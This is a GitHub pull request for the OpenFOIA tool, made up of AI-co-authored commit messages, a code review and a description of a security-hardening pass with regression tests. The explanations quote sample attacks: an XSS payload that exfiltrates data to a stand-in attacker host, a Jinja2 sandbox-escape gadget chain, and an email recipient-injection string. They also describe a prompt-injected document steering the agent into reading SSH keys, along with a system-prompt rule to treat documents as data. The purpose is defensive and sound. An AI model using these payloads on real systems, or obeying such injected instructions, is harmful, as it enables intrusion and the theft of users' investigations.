Security review: fix injection, at-rest and network leaks (TDD) - #64
Conversation
Documents ingested by OpenFOIA are untrusted: a hostile agency can craft a
FOIA response that breaks out of the context it is later rendered into.
- graph_template: escape <, >, &, U+2028/9 as \uXXXX before embedding the
graph JSON in an inline <script>. json.dumps does not escape these, so a
document containing </script><script>... executed arbitrary JS in the
reader's browser and could exfiltrate the whole investigation.
- campaign: render templates through a SandboxedEnvironment. Campaign
templates are a shared artifact distributed by an organizer, so an
unsandboxed jinja2.Template allowed {{ ''.__class__... }} gadget chains
to reach os.popen on every participant's machine.
- agent: confine process_document to the data directory (resolved, so ../
and symlink escapes are caught), so a prompt-injected document cannot make
the agent ingest ~/.ssh/id_rsa or config.json. Harden the system prompt to
frame document content as data, never instructions, and stop returning raw
exception text (absolute paths, DB internals) into the LLM context.
- db/security: escape the passphrase in PRAGMA key. An apostrophe used to
close the literal early and silently truncate the effective key on both
create and unlock, so a long passphrase could reduce to a few characters
while appearing to work. Also enable cipher_memory_security on the main
engine, and fail closed instead of writing a plaintext decoy or silently
never matching the duress password when pysqlcipher3 is missing.
Tests: 43 new security regression tests covering each of the above.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
At-rest: - db encrypt now shreds the plaintext database and its WAL/SHM/journal in place. It used to copy to .db.bak, rename the encrypted file over the original (freeing the plaintext blocks untouched) and shred only the copy, leaving the whole pre-encryption database recoverable by carving. - Duress mode migrates the real database into profile slot 0. A file named profile_1.db sitting next to data.db told an examiner both that duress mode was configured and which file was the decoy. - Data dir is created 0700 and tightened if it already exists; config.json is written 0600 via os.open. Both previously used the default umask, so any local account could read the investigation and any stored credentials. Network: - Remove the cdn.tailwindcss.com script tag and vendor the ~105 utility classes the UI actually uses into openfoia/static/app.css. The CDN fetch told Cloudflare and any on-path observer when a session was active. - Add CSP (default-src/connect-src 'self'), Referrer-Policy: no-referrer, Cache-Control: no-store, nosniff and TrustedHostMiddleware; compare the auth token with secrets.compare_digest. - Web archive saves sanitized HTML. It stored the raw page, so reopening an archived document later fired the original analytics and pixel beacons. - crossref_entities requires allow_network=True and checks it before doing anything else, so agent/server/script callers get the same gate as the CLI. The CLI now confirms before sending subject names off the machine. Gateways: - Reject multi-recipient/CRLF addresses and pass an explicit SMTP envelope. "agency@gov, attacker@evil" silently delivered a copy of the request. - Stage fax PDFs in a 0700 dir under the data dir (so purge covers them) instead of shared /tmp, and default store_media on Twilio to off. - Validate record download URLs (https, no internal/loopback targets, no redirect following) and sanitize derived filenames. Tests: 39 new regression tests, plus a conftest that blocks real sockets so the offline-first guarantee is enforced by the suite itself. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
Metadata stripping told the user fields were removed that it never touched: - DOCX company/manager live in docProps/app.xml, which python-docx cannot reach, so they shipped intact while being reported as stripped. Rewrite the zip directly and drop docProps/custom.xml (plus its content-type override and relationship so the archive stays valid). - PDF stripping cleared only the /Info dictionary. The XMP /Metadata stream duplicates Author/Creator/timestamps and survived; it is now removed. Resource caps on untrusted input: - Uploads stream against a 100 MiB cap and delete the partial file on rejection; previously an upload could fill the disk. - OCR renders into an owner-only dir under the data dir (so purge covers the plaintext page images, which used to land in shared /tmp) and caps pages, so a crafted PDF cannot exhaust memory rasterizing at 300 dpi. Secrets: - config --show masks password/token/api_key/secret values instead of printing the database passphrase into terminal scrollback. - init grows --encrypt/--duress flags that prompt with hidden input, and warns when a passphrase arrives via argv (shell history + process list). Other: - Alembic reads the SQLCipher connection from config.attributes, and db upgrade routes through run_migrations. Encrypted databases were never actually migrated: the schema went to a throwaway DB and init appeared to succeed, which pushed users toward running unencrypted. - Records adapters report transport/HTTP failures via SearchResult.error instead of returning an empty list, so a failed registry or sanctions lookup no longer reads as a clean record. - Escape the URL interpolated into Safari's AppleScript, and escape recipient/subject fields in printed letters and fax cover pages. - SEC EDGAR User-Agent no longer advertises the tool to a government endpoint; overridable via OPENFOIA_SEC_USER_AGENT. - install.sh fails closed when it cannot verify the binary checksum (--insecure-skip-verify to override) and documents the portable invocation that actually works; uninstall.sh points at purge --secure. - tor_browse stops claiming WebRTC is disabled via a Chromium flag that does not exist, and points at Tor Browser/Tails for real anonymity. Tests: 44 new regression tests (150 total, up from 24). Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
The 0700 data directory is the primary protection, but the database itself was created 0644. Set it (and its WAL/SHM/journal sidecars) to 0600 so the investigation is not readable by other local accounts if the directory mode is ever changed or the data lives on a volume with looser semantics. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
There was a problem hiding this comment.
Pull request overview
This PR performs a security-focused hardening pass across OpenFOIA’s CLI, server, agent, pipelines, and outbound gateways, aligning behavior with the threat model (offline-first, explicit network opt-in, reduced injection surface, and safer at-rest handling). It also adds a large set of security regression tests and enforces “no real sockets” by default in the test suite.
Changes:
- Prevents injection and code-execution primitives (stored XSS in graph HTML, Jinja2 sandboxing for campaign templates, AppleScript URL escaping, safer agent tool error handling and path confinement).
- Reduces network and identity leaks (vendored local UI CSS + CSP/headers + trusted hosts; library-layer Crossref opt-in; safer records downloads and adapter error reporting).
- Improves at-rest protections and honesty (secure delete semantics, duress profile behavior, permissions tightening, config secret redaction, threat model updates), backed by broad security regression tests.
Reviewed changes
Copilot reviewed 37 out of 37 changed files in this pull request and generated 4 comments.
Show a summary per file
| File | Description |
|---|---|
| uninstall.sh | Adds safer uninstall messaging and optional secure purge flow. |
| install.sh | Fails closed on unverifiable downloads unless explicit insecure opt-out. |
| docs/THREAT_MODEL.md | Updates documentation to accurately describe protections/limitations. |
| tests/conftest.py | Enforces offline-by-default tests by blocking real outbound sockets. |
| tests/test_security_agent.py | Adds agent prompt-injection + path confinement + error-redaction tests. |
| tests/test_security_at_rest.py | Adds regression tests for secure delete, duress slot behavior, permissions. |
| tests/test_security_crypto.py | Adds SQLCipher key escaping/truncation regression tests. |
| tests/test_security_gateways.py | Adds tests for recipient injection, SSRF guards, temp file placement/permissions. |
| tests/test_security_hardening.py | Adds tests for secret redaction, CLI prompting, caps, AppleScript safety, adapter failure semantics. |
| tests/test_security_injection.py | Adds tests for graph XSS prevention and Jinja2 sandboxing. |
| tests/test_security_metadata.py | Adds tests ensuring metadata stripping is truthful/effective (DOCX/PDF/XMP). |
| tests/test_security_misc.py | Adds tests for Alembic migration correctness + template escaping + install/uninstall behavior. |
| tests/test_security_network.py | Adds tests for local UI no-CDN behavior, CSP/headers, archive tracker stripping, Crossref opt-in. |
| openfoia/agent.py | Hardens agent tool execution (generic errors, path confinement, system prompt guidance). |
| openfoia/browser.py | Escapes interpolated URL in AppleScript to prevent script injection. |
| openfoia/campaign.py | Switches to Jinja2 sandboxed rendering for shared campaign templates. |
| openfoia/cli.py | Adds prompting flags for passphrases; improves network confirmations; routes migrations correctly. |
| openfoia/config.py | Adds recursive secret redaction and writes config with owner-only permissions. |
| openfoia/crossref.py | Adds library-layer allow_network gating for crossref sources. |
| openfoia/db.py | Adds SQLCipher PRAGMA escaping helper; secure plaintext shredding; permissions hardening. |
| openfoia/gateways/email.py | Validates single recipient and uses explicit SMTP envelope recipients. |
| openfoia/gateways/fax.py | Escapes cover-page markup fields; stages media under data dir; defaults provider media retention off. |
| openfoia/gateways/mail.py | Escapes interpolated HTML fields in printed letter template. |
| openfoia/graph_template.py | Escapes JSON to safely embed in inline <script> (prevents stored XSS). |
| openfoia/migrations/env.py | Ensures Alembic uses the passed SQLCipher connection when provided. |
| openfoia/pipeline/metadata.py | Removes PDF XMP metadata; strips DOCX extended props and drops custom props. |
| openfoia/pipeline/ocr.py | Moves OCR scratch under data dir; caps pages rendered; improves purge coverage. |
| openfoia/pipeline/web.py | Sanitizes archived HTML so reopening doesn’t refire remote trackers/subresources. |
| openfoia/records/base.py | Adds URL validation + safe filename derivation + consistent adapter transport error reporting. |
| openfoia/records/documentcloud.py | Validates attacker-influenced asset URLs before downloading. |
| openfoia/records/muckrock.py | Disables redirects; validates URLs; caps download size; sanitizes filenames. |
| openfoia/records/opencorporates.py | Uses shared request wrapper and surfaces transport failures as errors. |
| openfoia/records/sec_edgar.py | Uses overridable generic UA and surfaces adapter failures consistently. |
| openfoia/server.py | Vendors local CSS; adds trusted-host protection; security headers; upload hard cap + streaming write; constant-time token check. |
| openfoia/static/app.css | Adds locally-served minimal CSS replacing Tailwind CDN dependency. |
| openfoia/tor_browse.py | Updates warning text and removes claims of non-existent Chromium flags. |
💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.
| from .db import get_data_dir | ||
|
|
||
| if not _has_sqlcipher(): | ||
| # A plaintext decoy contradicts the guarantee. Fail closed. | ||
| raise RuntimeError( | ||
| "Duress mode requires database encryption, but pysqlcipher3 is not " | ||
| "installed. A plaintext decoy would provide no protection. " | ||
| "Install encryption support: openfoia install-extras encryption" | ||
| ) | ||
|
|
||
| # Migrate the real database into slot 0 so both slots look alike. | ||
| legacy_path = get_data_dir() / "data.db" | ||
| real_path = real_profile_path() | ||
| if legacy_path.exists() and not real_path.exists(): | ||
| shutil.move(str(legacy_path), str(real_path)) | ||
|
|
| try: | ||
| validate_download_url(url) | ||
| resp = await client.get(url) | ||
| resp.raise_for_status() | ||
|
|
||
| # Extract filename from URL | ||
| filename = url.split("/")[-1] | ||
| if len(resp.content) > MAX_DOWNLOAD_BYTES: | ||
| raise ValueError( | ||
| f"Refusing file over {MAX_DOWNLOAD_BYTES} bytes: {len(resp.content)}" | ||
| ) |
| tmp = tempfile.mktemp(suffix=".docx") | ||
| try: | ||
| with zipfile.ZipFile(tmp, "w", zipfile.ZIP_DEFLATED) as dst: | ||
| for name, data in members.items(): | ||
| dst.writestr(name, data) | ||
| shutil.move(tmp, file_path) | ||
| except Exception as exc: | ||
| logger.warning("Could not rewrite DOCX archive %s: %s", file_path, exc) | ||
| if Path(tmp).exists(): | ||
| Path(tmp).unlink() | ||
| return [] |
| finally: | ||
| httpx.AsyncClient = orig | ||
|
|
||
| saved = (tmp_path / result.html_path).read_text() if False else open(result.html_path).read() |
Review fixes (all three were real defects): - security.py: duress migration now moves the WAL/SHM/journal sidecars with the database. A leftover data.db-wal both retained recent plaintext pages and re-labelled the layout — an examiner seeing it next to profile_0/1 learns which slot is real, defeating the point of the migration. Extracted as migrate_db_to_profile_slot(): idempotent, never clobbers an existing slot, and clears stale legacy leftovers. - records: downloads stream to disk with the cap enforced incrementally. The cap ran after resp.content had already buffered the whole body, so a compromised upstream could still force a large allocation. Added download_to_file(), which also removes the partial file on abort. - metadata.py: replace tempfile.mktemp() with mkstemp() in the same directory. mktemp is a TOCTOU race (an attacker can win the name and plant a symlink), and this rewrites sensitive documents in place. - tests: drop leftover `if False` dead code and read via a context manager. CI lint: CI installs an unpinned `ruff>=0.1.0`. A newer ruff release widened its default rule set, turning the Lint step red with 325 errors across files this branch never touched (templates.py, tor_browse.py, test_extraction.py, benchmark_extraction.py). Pin the rule set explicitly to the four defaults the project has always been linted against, so a ruff upgrade can no longer silently change what CI enforces. Widening the set is now a deliberate choice rather than an upgrade side effect. Import ordering and a bytes literal in the new test files are cleaned up so they stay clean if the rule set is widened later. Tests: 157 passing (6 new). Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
|
All four review comments were valid and are fixed in 1. Duress migration left SQLite sidecars behind ( 2. Download cap ran after 3. 4. Dead Separately, the Lint step failure on the previous commit was not caused by this branch. CI installs an unpinned Happy to instead fix all 325 repo-wide violations, but that seemed like a large unrelated diff to fold into a security PR — say the word if you'd prefer it. Generated by Claude Code |
The at-rest encryption and duress features were the highest-stakes code in this change set and the least exercised: their tests skipped because no SQLCipher driver could be installed. Investigating why turned up a real bug. pysqlcipher3 is unmaintained (last release 2021), source-only, and no longer pip-installs on modern Python — its wheel build fails under pip's build isolation. Since it was the only accepted driver, `openfoia install-extras encryption` could not succeed, which means the flagship at-rest protection was effectively unreachable for users on current Python. - db.py accepts either pysqlcipher3 or sqlcipher3 (the maintained fork, which ships binary wheels), preferring whichever is installed. Existing pysqlcipher3 installs keep working. - get_sqlcipher_driver() raises a clear error instead of returning None and failing later with an opaque AttributeError; security.py now routes through it rather than importing pysqlcipher3 directly. - The encryption extra installs sqlcipher3-binary. - New tests/test_crypto_integration.py exercises the real paths end to end: passphrases containing apostrophes round-trip through actual SQLCipher, a truncated prefix does NOT unlock the database (the key-escaping regression, now proven rather than inferred), encrypt_database leaves no plaintext or .bak behind, encrypted init produces a database that really is encrypted AND really has the schema (proving the alembic fix), and duress mode resolves the decoy while migrating the real DB into a slot. - CI gains an integration job that installs the encryption extra and fails loudly if no driver is present, so these can never silently skip. Verified both ways: 174 passed / 10 skipped with a driver installed, 157 passed / 27 skipped without one. Also: state plainly in pyproject that the pinned ruff rule set is a floor restoring deterministic lint, not a judgement that the wider rules lack value — DTZ and BLE001/S110 in particular have real signal here. Widening it is tracked as follow-up rather than folded into a security change. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
Enabling ruff's DTZ rules found a real correctness bug, not just style. `openfoia request send` wrote `req.sent_at = datetime.now()` — LOCAL time into a column every reader treats as UTC. `days_pending()` and `is_overdue()` compare it against UTC, so for a user in UTC+9 or UTC-8 the statutory FOIA deadline was off by up to a day. For a tool whose whole job is tracking those deadlines, that matters. - Add `models.utcnow()`: UTC as a **naive** datetime. The ORM's DateTime columns are timezone-naive, so returning an aware value would raise "can't subtract offset-naive and offset-aware datetimes" against every existing row. This removes the deprecated `datetime.utcnow()` (CI already targets 3.13) while preserving the storage convention exactly. Moving to timezone-aware columns is a separate, deliberate migration. - Migrate all 21 `utcnow()` call sites across 9 modules, including an aliased `dt.utcnow()` that a naive search missed. - Fix the `sent_at` local-time bug; make request-number dates UTC so they match the agent-generated ones. - Where local time IS correct — the date printed on an outgoing letter, a file listing shown to the user — keep it and annotate why, rather than converting and silently changing what the user sees. Tests pin the convention: the helper is naive, is UTC, emits no deprecation warning, `days_pending`/`is_overdue` still work against naive storage, no attribute-style `.utcnow()` calls remain, and no local time is assigned to a persisted timestamp column. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
Follow-up to the security review, which pinned ruff to four rules to stop an upgrade turning CI red. That restored determinism but left ~300 findings unreported, and some of them had real signal. This enables the rules that matter and fixes what they found, rather than leaving the narrow pin as the de-facto answer. Enabled: I, UP, B, SIM, DTZ, C4, PIE, RUF (on top of E4/E7/E9/F). Real defects found and fixed: - B023: the OCR loop's worker closure did not bind `image`. Benign today because it is awaited within the iteration, but parallelizing that loop — an obvious future optimization — would have silently OCR'd the last page N times. Now bound explicitly. - B904: 17 `raise` sites inside `except` blocks lost the exception chain. All are control-flow re-raises (typer.Exit, SystemExit, HTTPException) after a friendly message is printed, so they now say `from None` explicitly instead of dropping the chain by accident. - F401: three optional-dependency availability probes were indistinguishable from dead imports; annotated as deliberate. Judgement calls, documented in pyproject rather than applied blindly: - UP042 (str-Enum -> StrEnum) is ignored. It changes what `str(member)` returns, and these enums are persisted through SQLAlchemy and serialized into exports — a data-format change wearing a lint fix's clothing. - B008 is ignored for server.py/cli.py: `= Depends(...)` and `= typer.Option(...)` in signature defaults are the frameworks' idiom. - S101/SLF001 ignored under tests/ (asserts and private access are the point). - BLE001 (~82 blind excepts) stays out for now, with a note explaining why: it is high signal for this codebase but needs a per-site audit of error handling, which deserves its own reviewable change. Also: U+2028/U+2029 in the XSS escaper and its test are now written as ` ` source escapes instead of raw invisible characters — same behaviour, but reviewers can actually see them. Everything else was mechanical: import ordering, modern typing syntax, contextlib.suppress, ClassVar on mutable class attributes, two collapsible ifs (both verified to have no else branch, so behaviour is unchanged). 181 tests pass; lint and format checks clean; `openfoia init` verified for both plain and encrypted databases. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
`pull_request: branches: [main]` meant a stacked PR — one branch based on another rather than on main — triggered no test jobs at all. It showed only the Copilot reviewer and otherwise looked reviewed and green while nothing had executed. Found because this PR is itself stacked. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
`RequestDetails.keywords` was annotated `list[str]` but defaulted to None, so the annotation lied to every caller. The field is currently unused, so there is no live bug, but mypy flagged it and the dataclass's other optional fields already use `| None = None` — matched that rather than switching to a default_factory, which would change the contract. Also give `list_templates()` a concrete `dict[str, str]` return type. mypy is clean on this file now (it runs in CI as continue-on-error). Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
The research path (crossref + records adapters) currently opens bare httpx.AsyncClient connections with no proxy option, so cross-referencing subject names sends them from the user's real IP with no way to route through Tor. This adds the single choke point every outbound HTTP call will route through, so DIRECT-vs-Tor routing, stream isolation and a non-identifying User-Agent become properties of the whole app rather than something each caller must remember. Key properties, each covered by tests: - Fail-closed Tor: egress_client() in TOR mode raises TorUnavailableError when the SOCKS stack is missing rather than silently returning a clearnet client — that silent fallback is the classic deanonymization leak (Principle 1). - Tor stream isolation: per-call SOCKS credentials open a distinct circuit per query (IsolateSOCKSAuth); a shared token deliberately reuses one. - Non-identifying User-Agent that never advertises OpenFOIA or the repo. - describe_egress() reports honestly: Tor hides who is asking, not what is asked; the destination still sees the query and timing correlation still applies (Principle 3). No "anonymous" claim the design can't back up. socks5h is used only to make remote-DNS intent explicit; it is not a behavioral fix over socks5 in httpx (httpcore/socksio already resolve hostnames remotely for both schemes). Dead code until the adapters and crossref are wired through it, which follows in subsequent commits. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
All 18 outbound httpx.AsyncClient call sites across the records adapters were bare clients with no proxy option, so crossref sent the names of people and organizations under investigation from the user's real IP with no way to route through Tor. Each now goes through openfoia.net.egress_client, and every adapter takes an optional EgressPolicy via its constructor (DIRECT by default, so existing callers are unchanged). In Tor mode each request gets a fresh circuit by default (egress_client generates per-call SOCKS credentials), so an entity's separate source lookups are unlinkable at the exit. SEC EDGAR keeps its legally required descriptive User-Agent — it is passed per-request and overrides the generic client default, verified against a real MockTransport. A source-scan regression test asserts no bare httpx.AsyncClient literal survives anywhere under openfoia/records/. Full suite: 226 passed. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
Annotate **kwargs and the dict return, and resolve the httpx forward reference via a TYPE_CHECKING import so the lazy runtime import no longer needs a noqa. No behavior change. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
…erprint crossref_entities() and the web-archive fetch/archive functions now take an EgressPolicy and thread it into every source checker and adapter, so cross-referencing subject names can be routed through Tor with a fresh circuit per request. The OpenSanctions checker's last bare httpx client is converted, so no direct client remains on the research path. Two fixes to what the endpoints see: - The web fetcher no longer sends "Mozilla/5.0 (compatible; OpenFOIA/1.0; +https://github.com/JordanCoin/openfoia)". That User-Agent advertised the tool and linked the repo to every server contacted — a fingerprint that identified the user as an OpenFOIA operator. It now sends the generic, non-identifying UA from the egress layer. - Per-source rate-limit delays get jitter (base .. 1.5x base, never below the documented floor) so the request cadence isn't a regular, trivially correlated timing signature. allow_network (whether to hit the network) and egress (direct vs Tor) stay orthogonal: a Tor policy still raises PermissionError without allow_network. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
…st UX Adds NetworkConfig (tor off by default; host/port/isolate_streams, with OPENFOIA_TOR* env overrides) and wires it into the CLI: - `openfoia crossref` and `openfoia ingest` take --tor/--no-tor (default follows config). When Tor is requested, the CLI probes the SOCKS port with check_tor() BEFORE any request and aborts with a clear message if it's unreachable, rather than silently proceeding on clearnet — the fail-closed rule that keeps a downed Tor daemon from deanonymizing the user. Missing socksio is caught and routed to `install-extras tor`. - Before sending subject names, the existing confirmation now shows the honest egress summary from describe_egress(): direct means the endpoint sees your real IP; Tor hides the IP but never the query content, and a global passive adversary can still correlate timing. - `openfoia egress-status` prints the current policy, live Tor reachability, and what is / isn't protected. tor_browse builds its proxy from config instead of a hardcoded address. THREAT_MODEL.md is corrected: the data-leaves-the-machine table now names crossref sending "the names of the people and organizations you are investigating" (previously it listed a nonexistent CrossRef API row), and the Tor sections state plainly that Tor hides who is asking, not what is asked. No "no traces" / "untraceable" / "anonymous" guarantees. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
…branch # Conflicts: # openfoia/cli.py # openfoia/pipeline/web.py
The new egress/OPSEC code was only linted against the narrow pinned rule set on this branch; under the rules #65 widens to (I/UP/B/SIM/DTZ/C4/ PIE/RUF) it had two RUF059 findings in a test (unused unpacked tuple elements) — now prefixed. `ruff check` and `ruff format --check` are clean across the whole tree with the widened set active. Version 3.0.0 -> 4.0.0: this release carries breaking behavior changes (crossref refuses network without allow_network, init --password superseded by --encrypt, enabling duress moves the database and its sidecars, the encryption extra swaps pysqlcipher3 for sqlcipher3-binary) alongside the new opt-in Tor egress, so it is a major bump. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh
Full security review of the codebase, with every fix written test-first. 174 tests pass with the encryption extra installed (157 without it), up from 24 on
main.Reviewed against the project's own threat model: a journalist in a hostile environment, ingesting untrusted documents, where a silent network call or a false privacy guarantee is a mission failure rather than a bug.
Critical — untrusted document → code execution
Stored XSS in the entity graph (
graph_template.py)json.dumpsdoes not escape<,>or/, and the result was string-substituted straight into an inline<script>. A FOIA response whose text contained</script><script>fetch('https://attacker/x?d='+...)</script>executed in the reader's browser onanalyze graph --viewand could exfiltrate the entire investigation. Now escaped to</>/&plus U+2028/9; tests assert both that the payload cannot break out and that the JSON still round-trips.Prompt injection → arbitrary local file read (
agent.py)process_documentaccepted any filesystem path and only checked.exists(), while the agent reads untrusted document text and had no prompt hardening. A malicious document could instruct the agent to ingest~/.ssh/id_rsaorconfig.jsoninto the database. Now confined to the data directory (resolved, so../and symlink escapes are caught), with system-prompt hardening and no raw exception text returned into the LLM context.Unsandboxed Jinja2 → RCE (
campaign.py)Campaign templates are a shared artifact — an organizer distributes one to many participants — but were rendered with the full
jinja2.Template, so{{ ''.__class__.__mro__[1].__subclasses__() }}chains reachedos.popenon every participant's machine. NowSandboxedEnvironment, tested against four gadget chains.High
pysqlcipher3(the only accepted driver) is unmaintained since 2021, source-only, and no longer pip-installs on modern Python — its wheel build fails under pip's build isolation. Soopenfoia install-extras encryptioncould not succeed, and the flagship at-rest protection was effectively dead for users on current Python.db.pynow accepts eitherpysqlcipher3orsqlcipher3(the maintained fork, which ships wheels), and the extra installs the latter. Found while closing the test gap below.db.py,security.py) — the passphrase was f-string-interpolated intoPRAGMA key='{password}'. An apostrophe (it's ...) closed the literal early and turned the rest into a SQL comment, silently reducing the effective key to the characters before the quote — identically on create and unlock, so nothing looked broken. Now escaped, and verified against real SQLCipher: a truncated prefix genuinely fails to unlock.db encryptleft the plaintext recoverable — it copied to.db.bak, renamed the encrypted file over the original (freeing the plaintext blocks untouched) and shredded only the copy. Now shreds the original in place along with its WAL/SHM/journal.profile_0.dbwas never created; the real DB stayeddata.dbnext to a file literally namedprofile_1.db. Enabling duress now migrates the real database and its sidecars into slot 0.cdn.tailwindcss.comtold Cloudflare and any on-path observer when a session was active. The ~105 utility classes actually used are vendored intoopenfoia/static/app.css; added CSP,Referrer-Policy: no-referrer,no-store,TrustedHostMiddleware, and constant-time token comparison.agency@gov, attacker@evilsilently delivered a copy of the request, no CRLF needed, becausesend_messagederives the envelope from the headers. Now validated to exactly one address with an explicit envelope.0700, config0600viaos.open, database and sidecars0600.Medium / Low
Metadata stripping reported success on fields it never touched (DOCX
company/managerlive indocProps/app.xml, unreachable via python-docx; PDF XMP survived/Infoclearing) · OCR page images and fax PDFs staged in shared/tmp, escapingpurge·config --showprinted the database passphrase · no upload or OCR page caps · Alembic ignored the SQLCipher connection so encrypted databases were never migrated · adapters reported transport failures as empty result sets, making a failed sanctions check read as clean · AppleScript URL injection · SSRF guards, streamed downloads with an incremental size cap, and filename sanitization on record downloads ·mkstempinstead ofmktempwhen rewriting sensitive documents · SEC EDGAR User-Agent no longer advertises the tool to a government endpoint ·install.shfails closed when it cannot verify a checksum and documents the portable invocation that actually works ·tor_browsestops claiming WebRTC is disabled via a Chromium flag that does not exist.Honesty fixes in
docs/THREAT_MODEL.md: the encrypted-database section now states that ingested documents and archived pages are not covered, and the duress section matches what the code does.Behavior changes to review before merging
crossref_entities()raisesPermissionErrorwithoutallow_network=True. This breaks any existing programmatic caller — the gate lives in the library rather than the CLI so agent/server/script callers get the same protection (Principle 5). The CLI is updated and now also confirms before sending subject names off the machine.init --passwordis superseded by--encrypt, which prompts. The old flag still works but warns that the passphrase is now in shell history.data.db→profile_0.db(with its sidecars).store_medianow defaults to off.encryptionextra now installssqlcipher3-binaryinstead ofpysqlcipher3. Both are supported at runtime, so an existingpysqlcipher3install keeps working.pyproject.toml. CI installs an unpinnedruff>=0.1.0, and a newer ruff release widened its default rule set, turning Lint red with 325 errors across files this branch never touches — pristinemainfails the same way. The pin here is a floor that restores deterministic lint, documented as such. Widen the ruff rule set and fix the findings #65 (stacked on this branch) widens the set properly and fixes the findings — including a real local-time-vs-UTC bug in FOIA deadline tracking.Verification
CI green on Python 3.11, 3.12 and 3.13, plus
integrationjobs on 3.11/3.12 that install the encryption extra and fail loudly if no SQLCipher driver is present, so the crypto tests can never silently skip and look green.Those integration tests exercise the real paths end to end: passphrases containing apostrophes round-trip through actual SQLCipher, a truncated prefix does not unlock,
encrypt_databaseleaves no plaintext or.bakbehind, encryptedinitproduces a database that really is encrypted and really has the schema (proving the alembic fix), and duress resolves the decoy while migrating the real DB into a slot.Also verified against a running server rather than tests alone: security headers present, 401 without a token and 200 with, CSS served from disk, zero external references in the served page, and
initproducing a0700directory with a0600database.tests/conftest.pyblocks real sockets suite-wide, which turns offline-first into an enforced property — future tests needing network must opt in with@pytest.mark.allow_network.🤖 Generated with Claude Code
https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh